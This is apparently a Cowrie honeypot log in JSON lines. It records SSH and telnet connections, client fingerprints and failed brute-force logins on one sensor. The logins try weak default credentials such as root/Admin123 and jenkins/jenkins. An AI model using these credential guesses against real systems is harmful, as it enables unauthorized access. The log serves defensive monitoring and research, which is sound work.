{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:11.952444Z","src_ip":"176.65.139.95","session":"78c6c7e9acdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:12.223722Z","src_ip":"176.65.139.95","session":"78c6c7e9acdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:13.308904Z","src_ip":"176.65.139.95","session":"78c6c7e9acdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48534,"dst_ip":"159.203.135.109","dst_port":22,"session":"2419d46b4bb4","protocol":"ssh","message":"New connection: 176.65.139.95:48534 (159.203.135.109:22) [session: 2419d46b4bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:18.439137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:18.448256Z","src_ip":"176.65.139.95","session":"2419d46b4bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:18.531088Z","src_ip":"176.65.139.95","session":"2419d46b4bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:18.840311Z","src_ip":"176.65.139.95","session":"2419d46b4bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:19.926178Z","src_ip":"176.65.139.95","session":"2419d46b4bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55098,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76437465dd7","protocol":"ssh","message":"New connection: 176.65.139.95:55098 (159.203.135.109:22) [session: a76437465dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:24.946858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:24.961698Z","src_ip":"176.65.139.95","session":"a76437465dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:25.040003Z","src_ip":"176.65.139.95","session":"a76437465dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:25.580315Z","src_ip":"176.65.139.95","session":"a76437465dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:26.681610Z","src_ip":"176.65.139.95","session":"a76437465dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43914,"dst_ip":"159.203.135.109","dst_port":22,"session":"93eac6a8dd4a","protocol":"ssh","message":"New connection: 176.65.139.95:43914 (159.203.135.109:22) [session: 93eac6a8dd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:31.561542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:31.566603Z","src_ip":"176.65.139.95","session":"93eac6a8dd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:31.648283Z","src_ip":"176.65.139.95","session":"93eac6a8dd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:31.908287Z","src_ip":"176.65.139.95","session":"93eac6a8dd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:32.992427Z","src_ip":"176.65.139.95","session":"93eac6a8dd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35922,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a5b2415fd8f","protocol":"ssh","message":"New connection: 159.203.92.129:35922 (159.203.135.109:22) [session: 0a5b2415fd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:35.193684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:35.197664Z","src_ip":"159.203.92.129","session":"0a5b2415fd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:35.201999Z","src_ip":"159.203.92.129","session":"0a5b2415fd8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinJH","password":"123","message":"login attempt [JinJH/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:35.252650Z","src_ip":"159.203.92.129","session":"0a5b2415fd8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00197958946228,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:36.016096Z","src_ip":"143.202.183.103","session":"5f5b9c3b61a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:36.261501Z","src_ip":"159.203.92.129","session":"0a5b2415fd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43918,"dst_ip":"159.203.135.109","dst_port":22,"session":"43bf91f5c00f","protocol":"ssh","message":"New connection: 176.65.139.95:43918 (159.203.135.109:22) [session: 43bf91f5c00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:37.965916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:37.970254Z","src_ip":"176.65.139.95","session":"43bf91f5c00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:38.059018Z","src_ip":"176.65.139.95","session":"43bf91f5c00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00120496749878,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:38.214332Z","src_ip":"143.202.183.103","session":"6d0536aec640","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:38.351745Z","src_ip":"176.65.139.95","session":"43bf91f5c00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:39.436750Z","src_ip":"176.65.139.95","session":"43bf91f5c00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.202.183.103","src_port":41138,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab84279a55c1","protocol":"telnet","message":"New connection: 143.202.183.103:41138 (10.17.0.5:23) [session: ab84279a55c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:40.733248Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36860,"dst_ip":"159.203.135.109","dst_port":22,"session":"df8584f3ce47","protocol":"ssh","message":"New connection: 176.65.139.95:36860 (159.203.135.109:22) [session: df8584f3ce47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:44.363405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:44.373339Z","src_ip":"176.65.139.95","session":"df8584f3ce47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:44.464891Z","src_ip":"176.65.139.95","session":"df8584f3ce47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:44.724490Z","src_ip":"176.65.139.95","session":"df8584f3ce47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:45.824929Z","src_ip":"176.65.139.95","session":"df8584f3ce47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49046,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab13214b555e","protocol":"ssh","message":"New connection: 176.65.139.95:49046 (159.203.135.109:22) [session: ab13214b555e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:50.901994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:50.916047Z","src_ip":"176.65.139.95","session":"ab13214b555e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:50.986934Z","src_ip":"176.65.139.95","session":"ab13214b555e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:51.324296Z","src_ip":"176.65.139.95","session":"ab13214b555e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:52.408469Z","src_ip":"176.65.139.95","session":"ab13214b555e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49058,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b1e87c11d19","protocol":"ssh","message":"New connection: 176.65.139.95:49058 (159.203.135.109:22) [session: 2b1e87c11d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:57.266361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:57.274833Z","src_ip":"176.65.139.95","session":"2b1e87c11d19","protocol":"ssh"}
